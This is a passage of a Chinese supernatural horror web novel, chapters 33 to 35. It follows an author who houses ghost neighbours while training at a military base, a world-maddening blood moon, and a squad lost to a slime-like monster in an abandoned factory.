发现变成鬼的邻居们还挺和善,且没有伤害自己的意思后,宴泠昭瞬间没有了一开始的紧迫感。
甚至想回家住了——宴泠昭在房间里说的,虽然可能只是随口一说。
朱德宏得知宴泠昭有这个念头,眉头瞬间紧紧皱成一个“川”字,几乎能夹死一只苍蝇。
暂且不说这些鬼是装的,即便他们真的对宴泠昭没有恶意,但小区是实打实的诡域,真住满的情况下,保底几百只鬼。
正当朱德宏想要开口劝阻宴泠昭时,突然感觉自己的衣角被轻轻扯了下。他下意识低头看去,顿时头皮发麻:映入眼帘的是一道整齐的脖子横截面,里面的血肉组织和骨头清晰可见。
朱德宏也算是在各种诡异事件中摸爬滚打过来的人,见过不少大场面,所以面对这样惊悚的一幕很快就镇定了下来。
倒是旁边张教授的助手倒抽了一口凉气,张教授则拿出一堆仪器,围绕着无头诡异测试,也不怕惹无头诡异不悦对自己动手。
朱德宏抽了抽嘴角,对离得最近的士兵说:“把张教授带出去。”
张教授:“等等!”
朱德宏:“别听他的。”
张教授毫无还手之力的被架了出去,期间喊话自己的助手:“小谷,继续测——数据最重要!”
朱德宏看了眼谷伟志。
谷伟志:“”
看完这场闹剧,王玲玲那稚嫩却透着无尽阴森的声音才幽幽响起:“大哥哥最好是待在自己家不然的话,一旦祂的注视投过来,所有人都在劫难逃。你们这些普通人会在瞬间爆炸变成一滩烂肉,我们则会失去理智死亡或是疯狂,没有别的选择。”
什么意思?
朱德宏刚想问,小女孩就消失了。
与此同时,他的脑子里响起小女孩的声音:【“千万不要告诉大哥哥大哥哥知道得越多,那位苏醒的就越快。” 】
何老微微侧头,目光斜斜的睨了一眼身侧的王玲玲:【“你告诉他们了?”】
王玲玲:【“至少在这一点上我们是利益共同体。他们不想死,我们不想疯。”】
何老和王玲玲身为最早一批被宴泠昭“吞噬”的诡异,似乎知道一些事情。
何老:【算算时间,下一个血月就要来临了吧。呵呵,新人们即将体会到什么才是真正的求生不得,求死不能】
【作者有话说】
感谢灌溉~[绿心]
感谢订阅~[红心]
啾咪![星星眼]
33 第 33 章
◎红月◎
朱德宏自然不会轻易相信诡异说的话。
王玲玲见朱德宏最后什么也没说, 带着宴泠昭前往宿舍。怀里抱着的脑袋青白的小脸表情平静得仿佛刚才没有找朱德宏说过话。
何老发出一声意味深长的轻笑,用只有他们两个诡异能听见的声音说道:【“事情没发生前, 他们不可能相信的。”】
考虑到宴泠昭情况特殊,朱德宏给宴泠昭安排的是独立宿舍。面积和宴泠昭家差不多,也是一室一厅一卫,除了没厨房,但相应的客厅面积就大了。
而没弄厨房,是因为有食堂。
——宿舍位于国家在B市郊区建造的一个军区里。
“吃穿用度生活方面我们会准备, 你不必担心知道军训吧?模式类似军训。时间表我待会儿发给你。”朱德宏向宴泠昭说明情况。
宴泠昭:“训练的话,主要是体能方面的训练吗?”
朱德宏点了点头:“体能训练是很重要的一部分。除此之外,还有知识课,主要教你如何应对各种诡异, 同样重要。”
“那有休息日吗?”宴泠昭问。
倒不是都到生死攸关的时刻了他还想着偷懒,主要是他还是一名正在连载的网文作者, 想也知道之后的训练强度肯定不弱, 身体和精神都会相当疲惫, 届时,恐怕他连坐在电脑前的力气都没有,更没说码字更新了。
实在不行的话只能请长假了。宴泠昭想。
朱德宏秒懂宴泠昭的想法,说道:“刚开始两周属于紧急特训阶段, 在这期间, 只会在周五下午给你放半天假。等这两周过去, 每周会安排一天休息时间给你。整个训练周期预计是三个月。不过这只是平均时长,如果你表现出色、学习进度快, 能够提前掌握应对诡异的各项技能, 那就可以提早‘毕业’;反之, 要是进展不顺利, 训练时间会相应延长。”
宴泠昭点了下头,表示自己已经清楚了解情况。
“行,你今天好好休息,养足精神,迎接明天的训练。有什么事情随时打电话联系我,我就不多打扰你了,先走了。”
“好。”
待朱德宏离开后,宴泠昭环顾四周,轻声说道:“你们要不要出来透透气?但只能在房间里活动,出去会吓到别人。”
众鬼当然不喜欢待在宴泠昭的那个黑色异空间(“胃”)里,听到宴泠昭这话,立刻迫不及待的钻了出来。
几十平的房间一口气招待八个人是有点拥挤,却也不至于说是完全没有活动空间的地步。
李小虎一出来就在房间里兴奋地跑来跑去,转了好几圈后,很快便没了一开始的新鲜感。耷拉着脑袋垮着脸嘟囔道:“我想要我的玩具小车。”
——宴泠昭从实验室出来后并没有回小区,而是直接跟着朱德宏来了宿舍。
看着嘴巴一撇就要哭出来的李小虎,宴泠昭:“我给你买一个新的。”
李小虎的眼泪瞬间止住,眼睛里闪烁着兴奋的光芒,大声说道:“真的吗?那我要擎天柱!还有大黄蜂!”
宴泠昭:“”
还挑上了,怪不得熊孩子惹众怒,招人嫌。
宴泠昭刚要回答,只见李奶奶缓缓走上前,将手搭在李小虎肩上。霎时,李小虎就像是被施了定身咒一般,整个人僵住。
李奶奶慈祥的笑道:“期末才考50分,还想玩?你说说你,长大以后难道准备去捡垃圾吗?”
李小虎:?
他不是已经死了吗?
不等李小虎反驳,李奶奶转头看向宴泠昭,态度诚恳的道:“小宴啊,我银行卡里有钱,你拿着去给小虎买几本练习册。”
李小虎顿时傻眼了,急得连对奶奶的恐惧都抛到了九霄云外,扯着嗓子嚎道:“我不要写作业!我不要玩具小车!我全都不要了!”
望着孙子(对学习)痛苦崩溃的模样,李奶奶发现自己终于找到了一种既不伤害孙子,又能满足自己,同时对孙子好的方式,高兴得鬼气不受控制的四处乱窜。
“小宴啊,奶奶就拜托你了。”李奶奶殷切的说道。
宴泠昭看着李奶奶疯狂上下抽搐的嘴角,不明白曾经对孙子百般溺爱的李奶奶,怎么突然之间变得如此严厉。
不过这样的转变挺好的。
“几本练习册花不了多少钱,这个钱我出了。”宴泠昭露出这几天来第一个发自内心的微笑。
“?!”李小虎瞪大双眼,满脸难以置信。
“我不同意!我不同意你们听到了吗!!!”
——听到了,但不回。
下单的时候,宴泠昭突然想起军区应该是不能随意快递的,于是打了个电话给朱德宏。
蹲在角落的李小虎听到宴泠昭打电话提及能不能买快递,瞬间来了精神,竖起耳朵,暗暗祈祷:千万要不允许啊!
结果却令他失望。
宴泠昭回道:“好的,那麻烦了。”
李小虎满怀期待的眼神光瞬间暗淡下去,憋着泪不让自己哭出来。
呜可恶!
等他变强了,第一件事就是炸学校,第二件事宣布不准有作业这种讨厌的东西存在!
***
宴泠昭的训练日程正式拉开了帷幕,下午五点钟以前的时间均被安排得满满当当。高强度的训练令宴泠昭全身酸痛,每天回宿舍基本就是“躺尸”。
李小虎那边也没闲着,在一众诡异的严格监督下,他被按死在书桌前。众鬼定下了严苛的规矩:写不完不准休息,中途不准离开桌子半步,准确率太低还要挨打。
眼泪,炸了出来。
手机鬼看着李小虎可怜兮兮的模样,眼神充满怜悯。
好孩子,感谢你替我拉仇恨。
时间一天天过去,转眼就是一个星期。在这短短的一周内,宴泠昭展现出了惊人的进步速度。
负责训练他的教官不止一次给朱德宏打电话,毫不吝啬对宴泠昭的夸赞,直言宴泠昭是个不可多得的好苗子。说着说着,教官还暗戳戳的试探朱德宏,能不能把宴泠昭调到他那里,信誓旦旦的表示在他那儿宴泠昭的上升空间无比巨大。
——关于宴泠昭体内有诡这件事,只有朱德宏以及实验室的相关人员和最高层领导知晓。
所以,教官对宴泠昭的特殊情况一无所知。他只知道宴泠昭是由朱德宏亲自带来的,至于宴泠昭之后的去向,他猜测大概率会归属朱德宏管辖,不然怎么会是朱德宏带他呢。
一想到朱德宏手底下已经汇聚了那么多优秀的苗子,还从其他部队挖走了不少精英,教官就忍不住牙酸,羡慕嫉妒恨。
面对教官挖墙脚的请求,朱德宏自然是毫不犹豫的拒绝了。不过,这倒是给他敲响了警钟:
担心教官“引诱”宴泠昭,朱德宏即便每天事务再繁忙,也会抽出时间给宴泠昭打电话,关切他的近况。
又是一周时光悄然流逝。
2060年8月24日天气晴
阳光透过树叶缝隙斑驳的洒在军区的地面。
想到下周开始就能拥有一整天的休息时间,宴泠昭就颇为期待下周的到来。
与宴泠昭的满心期待截然不同的是王玲玲和何老。俩鬼从一早开始就显得心事重重,神经紧绷得如同快要断裂的弓弦。
田燕婉向来对情绪的变化极为敏感,察觉到王玲玲和何老的异样,她低声询问两人怎么了。
王玲玲和何老只是淡淡的回应说没事。
田燕婉自然不信,但两人不愿多说,她也没有办法。
傍晚六点。
结束了一天训练的宴泠昭拖着疲惫的身躯从食堂吃完饭回来,打算冲个澡就上床休息,这个休息指刷手机。
路过坐在书桌前学习的李小虎,见男孩一边掉眼泪,一边奋笔疾书,心情莫名好了几分。
晚上七点。
宴泠昭躺在床上玩手机,习惯性的点开自己小说的页面,映入眼帘的是评论区密密麻麻的留言,几乎全是读者们的催更信息——即便他已经在首页挂上了请假条。
【流泪猫猫头:短则两周,长则三个月,这是真的吗(哭哭)】
【醉生梦死:没有作者的书看好痛苦】
【正在加载:打赏黄金票 * 100 求速肥!
评论:榜一大哥你来了,膜拜~】
一张黄金票价值一百元,一百张黄金票就是一万元。这位常年稳坐打赏榜首位的读者,经常一言不合就送上巨额打赏。
最初宴泠昭还会兴奋,后面随着次数的增多,他的兴奋阈值逐渐被拉高,如今看到这样的打赏,内心更多的是平静。
不过,一万块钱到底不是小数目,出于对金主的尊重,宴泠昭回复道:【最近这段时间实在太忙太累,身体已经到达极限,真的没办法更新,还请大家理解】。
晚八点。
困意如同潮水,一波又一波的往上涌,压得眼皮不停下坠,已经快要睁不开。
宴泠昭止不住地打了个长长的哈欠,眼角溢出泪花。这时不经意间瞥到好不容易完成作业的李小虎,只见李小虎兴奋地跳下椅子,嘴里喊着:“好耶!”
宴泠昭放下手机,声音因为困倦而显得含糊不清:“帮忙关一下灯。”
下一秒。
“啪”的一声按下开关的轻响。
整个房间陷入黑暗,房间里所有活动的声音也仿佛被这黑暗吞噬,一同消失得无影无踪。
几分钟后。
众鬼惊讶的发现自己竟然依旧待在房间里,并没有像往常一样回到那个无边无垠的黑色空间里,眼中皆浮现出疑惑。
何老这时开口道:“你们做好准备吧。”
李小虎一脸懵懂的问出了大家的心声:“什么准备?”
何老转过头,目光别有深意的看向手机鬼,说道:“你所体验的痛苦与疯狂,不及即将到来的一半。”
手机鬼像是突然想到了什么可怕的事情,瞳孔骤缩,眼神中透露出难以掩饰的惊惶。它声音发颤的问:“你什么意思?”
何老转回头,不再言语,仿佛刚才只是随意一说。
可手机鬼却心急如焚,大步朝着何老走去,一心想要问个清楚。
然而,当手机鬼走到何老面前,与何老那双阴森冰冷的眼睛对上,它登时一个急刹停了下来。
倒不是手机鬼惧怕何老,论实力他俩不相上下。
真正让手机鬼停下的,是何老眼睛里流露出的情绪。那是一种手机鬼无法理解、莫名其妙却也让它毛骨悚然的情绪。
气氛变得凝滞。
而此时的宴泠昭,依旧沉浸在梦乡之中,并没有被他们的动静吵醒。这并非是因为有鬼施展了某种能力,让宴泠昭听不到外界的声音。而是在这一天、这个夜晚,宴泠昭会处于一种深度睡眠状态,无论发生什么都不会中途醒来。
一阵凉风从窗外吹了进来,带着夜晚独有的凉意。
高悬在夜空的圆月缓慢染上血一般的红色
红色自月亮的一角开始,如墨汁在宣纸上晕染开,不断蔓延、扩张,最终将整个月亮完全染红。
红月散发着诡异不详的红光,将整个夜空映照得一片血红。
房间里的众鬼瞬间察觉到了异样:一种深入骨髓、无法言说的痛苦朝他们袭来。好似来自灵魂深处,无情啃噬着他们的灵与肉,令他们控制不住的剧烈颤抖,口中发出痛苦的嘶吼。
遭受这份痛苦折磨的不止他们。
同一时刻,世界各地的诡异都陷入了癫狂状态。痛苦侵蚀着它们的理智,让它们疯狂的破坏周围的一切。
人类同样察觉到了来自天空的变化。
街道上。
有人掏出手机,对着天空中的血月开始录制视频,一边拍摄一边兴奋的呼喊着:“家人们,快看!这辈子第一次见到红月亮,太震撼了!”
有人担心:“月亮咋变红了?该不会又是哪个工厂搞的污染吧?现在这环境啊!唉。”
同行的人附和:“是啊,也不知道会不会造成啥不好的影响。”
不远处的几个年轻人听到,忍不住笑了起来,其中一个穿着潮流T恤的小伙说道:“大叔,您这想法太逗了,月亮离地球十万八千里,哪能是厂子污染得了的。我看啊,说不定是什么罕见的天文现象,正好让咱们赶上了。”
大叔白了他一眼,“你们这些小年轻就知道新鲜好玩,月亮平白无故变红肯定没好事,以前哪有过这阵仗!”
广场上,一群孩子兴奋地奔跑嬉戏,他们对这诡异的景象没有丝毫恐惧,反倒是觉得有趣。
乡村,村民们同样被血月吸引,走出家门,聚集在空地上,互相闲聊着。
“哟,这是啥奇观,咱国家真的跟外国说的一样,改造月亮啦?”
“咋可能哦,外国还说我们虐待外星人呢,你信啊?”
“也是哈。”
“哎,我电话响了——是我闺女打来的,我先接个电话啊。喂,小倩?对,我也看到了,你晓得是啥子原因不?你们学校老师有没有讲过啊?”
***
国家科学院天文台。
观测室里,德高望重的老教授孔文山,同时也是天文学界泰斗级别的人物,此刻神色凝重到了极点。细密的汗珠从他的额头不断渗出,顺着脸颊缓缓滑落,浸湿了他的衣领。
老教授紧盯着望远镜的目镜,眼神中透露出深深的忧虑。
站在一旁的学生见老师这般神情,担忧的问道:“老师,您还好吗?”
孔文山没有回应学生的问题,只是抬了下手,示意他先出去。学生见状,虽心有疑虑,也还是默默退了出去,并关上了门。
房间里顿时安静下来,只剩下孔文山沉重的呼吸声。他刚拿出手机准备联系某人,恰在此时,手机铃声响起,屏幕上显示的正是他想要联系的那个人。
孔文山深吸一口气,接通电话,不等对面开口,直接说道:“我怀疑月亮是贴图——”
【作者有话说】
感谢灌溉~[绿心]
感谢订阅~[红心]
小剧场:
李小虎:我不要写作业,我不要学习!呜呜呜呜
宴泠昭:
小孩哭=噪音
自己弄哭的=天籁
34 第 34 章
◎事故又频发◎
孔文山神情肃穆, 握着电话的手微微用力:“经过查阅大量资料和分析,我发现了一个极其关键的线索
回溯历史, 大约在80年前,月亮就出现了问题:它的运转状态变得不对劲。不是说发生了改变,而是没有一点变化,就像是被算计好的,按照程序机械的运转,您懂我的意思。”
孔文山深吸一口气, 语气越发沉重:“八十年前,这个时间点至关重要——诡异就是在这个时期出现的。我推测其极有可能与月亮的异常有关系,甚至大胆猜想,二者背后存在同一股力量。”
“在古老的文化和传说中, 月亮一直被赋予崇高的意义,被视为阴阳交替、生死轮回的象征。如今看来, 这些传说或许并非空穴来风。
我们现在所面临的问题的根本性质, 是搞清楚这股神秘力量的真面目以及它对地球和人类的影响。”
***
一阵令人心悸的崩塌声, 仿佛整个世界都在摇摇欲坠;凄厉的哭声夹杂着绝望的尖叫声此起彼伏;无助的祈求声带着深深的恐惧与绝望,听得人惶恐不安。
这样的声音,已经不是第一次出现。实际上,宴泠昭每次在董医生那里接受催眠, 进入催眠状态后, 这种“现象”便会“如期而至”。
所以, 他这是又被催眠了吗?
宴泠昭意识恍惚,脑海中迷迷糊糊闪过这个念头。
可是他今天没有去找董医生啊。好困
宴泠昭实在是困倦到了极点, 根本不想耗费精力去探寻答案。
算了, 不想了。
宴泠昭让自己不要再去关注那些动静, 反正是梦, 都是假的。
而那些嘈杂混乱的声音竟也真的渐渐离宴泠昭远去,音量越来越小,直至最终完全消失不见。宴泠昭一直紧皱的眉头,终于得以缓缓松开。
可这份宁静仅仅维持了几秒,就又响起了声音:
【“2060年是极为特殊的一年,这一年下半年,将会有很多人被带走木星与土星将在人马座相拥,火星如血滴入天枰巴比伦陷落、查士丁尼瘟疫、黑死病玛雅语言”】
嗯?好像是他之前刷到过的一个学者的视频。
宴泠昭凝聚精神,想要听得更清晰。那学者的声音也如他所愿,不再是仿佛隔着一层介质和距离的模糊,而是就像在耳边诉说:
【“当月亮变成血色,大海开始咆哮,大地开裂通向深渊祂将要苏醒”】
***
刺目的阳光毫无遮拦的落在宴泠昭脸上,硬生生将宴泠昭从沉睡中唤醒。青年下意识抬手挡住眼睛,大脑在片刻的混沌后,意识逐渐恢复清醒,后知后觉想起自己昨天忘了拉窗帘。
不对。宴泠昭惺忪的眼睛完全睁开。
根本不是窗帘的事,在宿舍他从来不拉窗帘,因为平日里起床的时候,太阳不会这般炽热。
显然,他睡过头了。
意识到这点,宴泠昭猛地一下坐起身,掀开被子,侧身跳下床,冲进卫生间洗漱。
五分钟搞定刷牙、洗脸、梳头,又花一分钟穿好衣服、蹬上鞋子。随后,他匆忙伸手按在门把手上,用力往下一压,急切地推开门。
然后怔住。
只见朱德宏站在门外,教官也在。
完蛋。
宴泠昭大脑空白了几秒,张了张嘴,尴尬的说:“抱歉,我睡过头了。”
也是没想到会造成这么严重的后果:朱德宏和教官都来了。而且还不声不响,在门外耐心的等他睡醒。
宴泠昭连看两人一眼的勇气都没有,低下头,一副等挨批的乖巧模样。
朱德宏笑了下,脸上露出温和的笑容,特意开了个玩笑缓解宴泠昭的紧张情绪:“没关系,你以前从来没有接受过这种强度的训练,连着劳累了这么多天,偶尔“死机”一下也是正常的。”
宴泠昭顿时更惭愧了。
一旁的教官满脸狐疑,目光在朱德宏和宴泠昭之间来回扫视。心里不禁犯起嘀咕:老朱啥时候这么温柔了?这小子该不会是朱德宏的什么亲戚吧?
没错,在教官眼里,朱德宏此刻的表现只能用“温柔”二字形容。
——宴泠昭迟到了,朱德宏不仅没有丝毫责备,反而倒过来安慰宴泠昭没事。
更离谱的是,昨天血月事件,大喇叭反复播报了好几遍让大家集合,却始终不见宴泠昭的踪影。教官担心宴泠昭是不是出了什么意外,想去叫他,但被朱德宏强硬拦下。
“他又不是正式的士兵,不用来,就让他好好休息吧。”
此话一出口,可把教官惊得瞪大了眼睛。先暂且不论宴泠昭是不是正式士兵,既然他现在身处这个位置,就必须按士兵的规矩来。
朱德宏这番话,简直是毫不掩饰对宴泠昭的偏爱、明目张胆的护着他。
教官气笑了,觉得朱德宏的思想出现了问题,忍不住当场就和他理论起来。
然而不管教官怎么说,朱德宏的态度始终坚定如一:“让他休息!”
教官忍不住了,提高音量质问道:“行,就算你一心想让他休息,可这红月明显透着不正常,谁也不知道会不会和那些诡异有关。宴泠昭这大半天都没个动静,你难道就不担心他受到什么不好的影响,正处在危险之中吗?老朱,我真是弄不明白,你到底是想害他,还是”
思绪回到现在。
瞧着朱德宏对待宴泠昭那关切备至的模样,估计对他亲儿子也不过如此了。
“行了行了,你也别在这儿耗着了,忙你的去吧,我带宴泠昭去训练了。”教官开口催促朱德宏赶紧走。
朱德宏似乎还想对宴泠昭交代些什么,就在这时,他兜里的手机突然响了起来。
教官瞅准这个时机,扭头对宴泠昭说:“走。”
朱德宏皱了皱眉,眼中闪过一丝犹豫,嘴唇动了动,但最终还是没出声,拿着手机转身走向角落接电话去了。
教官见朱德宏离开,抬手搭在宴泠昭肩上,压低声音问道:“哎,问你个事儿,你和老朱是什么关系?”
宴泠昭不假思索的回道:“没关系。”
教官闻言,挑了挑眉:“哟,瞒这么严实呢。”
宴泠昭顿了下,疑惑的转头看向教官。
教官耸了下肩,不再追问下去,刚好两人已经快要走出宿舍楼。教官拿下搭在宴泠昭肩上的手,又恢复了一贯严厉的模样,板着脸说道:“行了,待会儿训练的时候给我好好练,把早上没做的训练都补回去。”
***
宴泠昭接受的训练模式是一对一、单对单形式,这意味着整个训练过程中,教官的全部注意力都聚焦在他一人身上。恰似课堂上老师的目光全程只锁定一个人,换句话说,宴泠昭没有一丁点偷懒摸鱼的余地,每天都拉满了,也怪不得他回寝就cosplay尸体。
训练场地的一旁,还有另外一组人在接受训练。这组人共有六个,分别是四名男生和两名女生。宴泠昭和他们互相交换过名字,一来二往,也算是朋友了。
不知不觉,时针指向了中午12点。
训练结束的哨声响起,另一组人当中的一名男生朝着宴泠昭挥了挥手,大声喊道:“嘿,宴泠昭!一起去食堂吃饭啊!”
食堂。
屠浩漫迫不及待的将满满一勺子肉送进嘴里,高强度的训练十分消耗体力,可饿死他了。
相比之下,其他人进食的姿态就斯文多了。
郭康安一边嚼着嘴里的食物,一边开口说道:“我感觉国家迟早对外宣布诡异存在的事情,而且依我看,这一天已经不远了,近在眼前。”
萧星光接过话茬:“毕竟昨天的红月亮已经算是昭告天下了。”
周雪秀轻轻叹了口气,满脸忧虑:“唉,现在能瞒多久瞒多久了。我担心的是不说普通人,咱们这些提前知晓诡异存在,还专门学习了应对技巧的人,直面那些可怕的诡异时,我反正一时半会儿克服不了,心里还是会恐惧。
而恐惧会助长鬼怪的力量全世界几十亿人,到时候汇聚的恐惧,我都不敢想。”
宴泠昭看看坐在对面的两个女生,又看看和他坐在同一排的男生,大家都不像是开玩笑的样子。
“你们在说什么月亮?”
此言一出,六个人都看了过来。
衡嘉树“啊”了一声,用十分诧异的眼神盯着宴泠昭,说道:“就昨天晚上变红的月亮啊,集合的时候不已经说了是诡异事件。你居然不知道吗?”
宴泠昭摇头:“不知道,我睡得早,睡前月亮还是正常的。”
众人面面相觑。
沈雁枫:“你昨晚没集合?”
宴泠昭:“我可能,睡得太死了,没听见。”
六人用看勇士的眼神看着宴泠昭。
“那你一定被你的教官骂死了吧。”
宴泠昭:“嗯”
他好像知道为什么教官问他和朱德宏是什么关系了。
大家感慨了一番宴泠昭的睡眠质量,接着七嘴八舌的把昨天晚上发生的事告诉了宴泠昭,宴泠昭这才知道原来昨晚出了那么大的事。
***
傍晚,结束了一天的训练。宴泠昭脚步虚浮的朝宿舍走去。
回到宿舍后,他照常将邻居们放出来透气。然后发现邻居们一个个精神萎靡不振。
“你们怎么了?”
他的话勾起了众鬼痛苦的回忆。
田燕婉的手指不受控制的抽搐着,手机鬼浑身颤抖个不停,其他鬼的状况也丝毫不比他们好,有一个算一个都累了一天的宴泠昭还虚。
何老清了清嗓子,说道:“没事儿,这不昨天回去后,我们抽问李小虎这几天学的知识,结果这小子一个都答不上来,把我们给气坏了。”
“什么?!我——”李小虎眼珠子都要瞪出来了,刚要反驳,就被李奶奶眼疾手快地捂住了嘴巴。
李奶奶:“怪我以前太惯着他了,才让他这么不长进。”
宴泠昭了然的点了下头,丝毫没有产生怀疑。
随后,宴泠昭抱着换洗的衣服走进浴室,打开花洒,冲掉身上的汗水。洗过澡浑身清爽的他站到窗边吹风,忽然传来敲门声。
“咚咚咚”
宴泠昭转身去开门。
门外站着的是朱德宏。
朱德宏:“我想找你的邻居说点事。”
宴泠昭侧身让出位置,方便朱德宏进来。
朱德宏进入房间后,目光迅速在一众诡异之间来回扫视,像是在寻找着什么。很快,他的视线定格在了王玲玲身上。
“你们慢慢聊,我回房间了,有事叫我。”
宴泠昭大概猜到了朱德宏的来意,左右不过是想从他的鬼邻居口里打听关于诡异的事。
白天经历了高强度训练的宴泠昭这会实在提不起精神参与他们的谈话,他只想趁着这难得的空闲,刷会儿手机放松放松,然后上床休息。
原本还在思考该如何支开宴泠昭的朱德宏暗暗松了口气,紧绷的神经也随之放松了些许。他回了句“好”,然后看向王玲玲,压低声音说道:“我想知道你那天跟我说的”
另一边。
宴泠昭蹬掉拖鞋爬上床,打开某音,准备刷点轻松有趣的内容看看,好让自己疲惫的身心得到放松。然而,事与愿违,一连好几个视频都是关于各类事故的报道。
【xx日报媒体
昨日凌晨,元县南山村发生突发性山体滑坡,五十五名村民于睡梦中被掩埋,抢救还在进行中。】
【xx晚报媒体
易居小区3栋1102室今晨发生煤气爆炸,66岁住户张某某当场死亡。】
【xx都市报媒体
白云游乐园“极光飞椅”项目突发机械故障,十二名游客从十米高空坠落,现场惨不忍睹。】
【新区CBD工地发生塔吊断裂事故,五名工人当场被砸死。
无人机拍摄枫湖水库惊现水怪】
【作者有话说】
感谢灌溉~[绿心]
感谢订阅~[星星眼]
感谢支持![让我康康]
35 第 35 章
◎月亮太阳不要看◎
宴泠昭本来是想刷会儿视频, 然后等朱德宏和邻居们谈完事情,把朱德宏送走之后再睡。结果不知道是不是太累了, 刷着刷着,意识逐渐模糊,不知不觉间就沉沉睡了过去。
翌日清晨。
宴泠昭朦胧转醒,迷迷糊糊看了一眼时间,才早上5:46,闹铃都还没响。
转头望向窗外, 天色已经亮得差不多,只还残留着一丝暗沉。从窗外吹进来的风带着丝丝凉意,轻轻拂过脸颊,让宴泠昭瞬间清醒了几分。
宴泠昭懵懵懂懂地坐起身, 思绪回笼,回忆起昨天晚上的事。
朱德宏已不见踪影, 邻居们也消失得无影无踪略一思索, 他便猜到朱德宏应该是谈完事情离开了, 而邻居们大概率是回到了他的身体里。
宴泠昭打了个哈欠,边下床穿鞋去卫生间洗漱,边声音沙哑的叫出两个名字:“何爷爷?田燕婉?”
几乎是同时,两道声音重叠着响起, 近得就好像是在他脑子里说:【“怎么了?”】
宴泠昭嘴里含着牙膏沫, 说话有些含糊不清:“没事, 就是我昨天好像中途睡着了。朱德宏是什么时候走的?”
何老:【“九点过,快十点的时候吧。”】
“哦。你们聊了些什么?”宴泠昭随口又问了一句。
何老回道:【“一些诡异的事。”】
答得是模棱两可, 含糊其辞。
其实宴泠昭昨天就猜到朱德宏是来询问关于诡异的事情的, 此刻再问, 是想知道具体内容。
但何老没有详说, 他便也懒得问了。
***
2060年8月27日
陈博炜站在警戒线外,看着眼前被晨雾笼罩的模糊不清的废弃厂房,指间的烟已经烧到了滤嘴。
他深吸最后一口,将烟蒂碾灭在脚下。
“组长,现场勘查完了。”年轻的组员小李快步走来,“都准备好了。”
陈博炜点点头,目光扫过厂房斑驳的外墙。那些暗红色的锈迹像是干涸的血,窗户玻璃破碎的地方如同张开的嘴。
“再检查一下装备。”他说。不过这次不只是对小李说,也是对所有组员说。
众人齐声回道:“确认无误。”
陈博炜回头看了眼身后的四名组员。
“记住。”他压低声音,“只要是你们感觉危险的东西,不要犹豫,相信自己的直觉,近战用黑棍,远程用枪。”
组员们眼神坚定,语气坚决的应道:“是!”
***
明明是大白天,厂房内部却暗得伸手不见五指。
手电筒的光束扫过积满灰尘的机械,随着光束的移动,扬起的灰尘在光线中肆意飞舞,如同无数微小的幽灵在光影间穿梭跳跃。
空气中弥漫着陈旧干涩的尘埃气味,直往人鼻腔里钻,让人忍不住想要打喷嚏,却又被这沉闷死寂的氛围压抑着,只能在心底泛起一阵紧张与不安。
“分散搜索,两人一组。”陈博炜下令,“保持无线电畅通。”
他和小李走向厂房深处。
地面上的灰尘显示出杂乱的脚印,最新的几组通向一个地下入口。
看着黑漆漆的“大洞”,犹如怪物张开的血盆大口,陈博炜的心跳加快了,掌心渗出汗水。
前一组人进了这里?他们会是在这里面出的事吗?
楼梯年久失修,每踏一步都发出不祥的呻吟。地下室的空气更加浑浊,手电筒照到墙壁时,陈博炜的呼吸停滞了——上面布满了抓痕,有些还很新鲜。
“组、组长”小李咽了口口水,“这好像是人指甲留下的痕迹。”
陈博炜刚想说些什么,一道轻响突兀的从左前方传来,陈博炜下意识将手电筒照去,只见角落里蜷缩着一团黑黑的不明物,起初他以为是装满东西的黑袋子,直到那东西动了一下。
那是个外形肖似史莱姆一样的怪物,舒展开身体至少有两米高,眼睛是两个黑洞,嘴巴是简笔画一样的“O”型,能看见里面一圈圈令人不寒而栗的细密锯齿。
“退后!”陈博炜抽出手枪,扣动扳机,一枚枚子弹裹挟着炽热的火焰与强大的动能朝怪物呼啸射去。
然而,当子弹狠狠撞击在怪物的身躯上时,却并未如预期般对怪物造成伤害——子弹一碰到怪物,速度就陡然减缓,随后没入怪物的体内,只留下一个个微小的空洞。
怪物应该是品尝过了,发现子弹不能吃,于是子弹很快又从它的体内原路退了出来,“哐当”一声掉在地上。
陈博炜眼皮一跳,大脑迅速转动:楼梯口狭窄,形似史莱姆的诡异身躯又庞大,这里显然是它的“主场”。
思考完毕,陈博炜反应迅速,抓起小李大喊:“跑!”
无奈那东西速度极快,已经扑了过来。
“啊!”
“小李!”
陈博炜咬牙挥出黑棍。一声非人的尖叫刺得人耳膜生疼。
诡异受伤顿住,陈博炜抓紧这个间隙,抓着受伤的小李继续往楼上跑。
无线电在这时突然炸响:【“组长!我们这边——啊!!!”】
什么?!还有诡异?
6组最后传递回来的情报不是说只有一个吗?而根据所描述的特征,应该就是此刻在后面追他的这个。
不然他也不会下命令分散行动。
无数杂乱的猜想在他脑海中如乱麻缠绕。是6组的情报有误?还是6组在执行任务的过程中出现了意想不到的变故,导致新的诡异出现?不管是哪种情况,现在都已无暇细想。
“所有人撤退!立刻!”陈博炜对着无线电吼道。
话才出口,身后便传来令人头皮发麻的异动。
回头看去,“史莱姆”诡异以一种不符合它身躯庞大的敏捷,“嗖”地一下弹跳到天花板上,紧紧吸附在墙壁上,随后又猛然发力,从墙上纵身一跃,“砰”的一声重重落在陈博炜的正前方,截断了他前行的路。
陈博炜反应极快,双脚猛地刹住,然后上前一步整个人挡在小李身前。
“史莱姆”诡异巨大的身躯开始剧烈地蠕动起来,仿佛体内有无数条虫子在翻涌。仅仅过了三秒,它漆黑的身体竟如同水珠坠地般“哗啦”一下炸开,化作一大滩浓稠的黑色液体,向着四面八方迅猛蔓延,眨眼间就将周围的地面完全覆盖。
陈博炜和小李根本来不及躲避,也没地方躲避,双脚瞬间陷入这黑色的“泥潭”中。浓稠的液体紧紧缠绕着他们的双腿,将他们往深处拖拽,两人的身体不受控制的缓缓下沉。
陈博炜下意识抬头环顾四周,试图找到一处能够借力攀爬的地方。当目光扫过墙面,他又看到了上面密密麻麻、纵横交错的抓痕。
凝视着这些抓痕,陈博炜终于明白它们是怎么来的了。
***
桌面上,摆放着两个小组团灭的报告。
其中,6组最后传递回来的消息是H市城郊一座废弃厂房盘踞着一个诡异,其外形酷似史莱姆。这条消息十分简短,看得出来很仓促,因为那时的6组已深陷绝境,根本来不及多说,就没了消息。
而后续进入厂房的二组,传回的信息却截然不同:称厂房里不止一个诡异。
这前后矛盾的情报,说明那座废弃厂房情况的复杂。
朱德宏坐在桌前,双眼直直地盯着面前的两份报告,陷入了长久的沉思。时间仿佛凝固了一般,静谧的办公室里,唯有墙上的挂钟发出单调而沉闷的滴答声。
许久之后,朱德宏起身,走到窗边,拿出手机拨通了一个号码。
与此同时,训练场上。
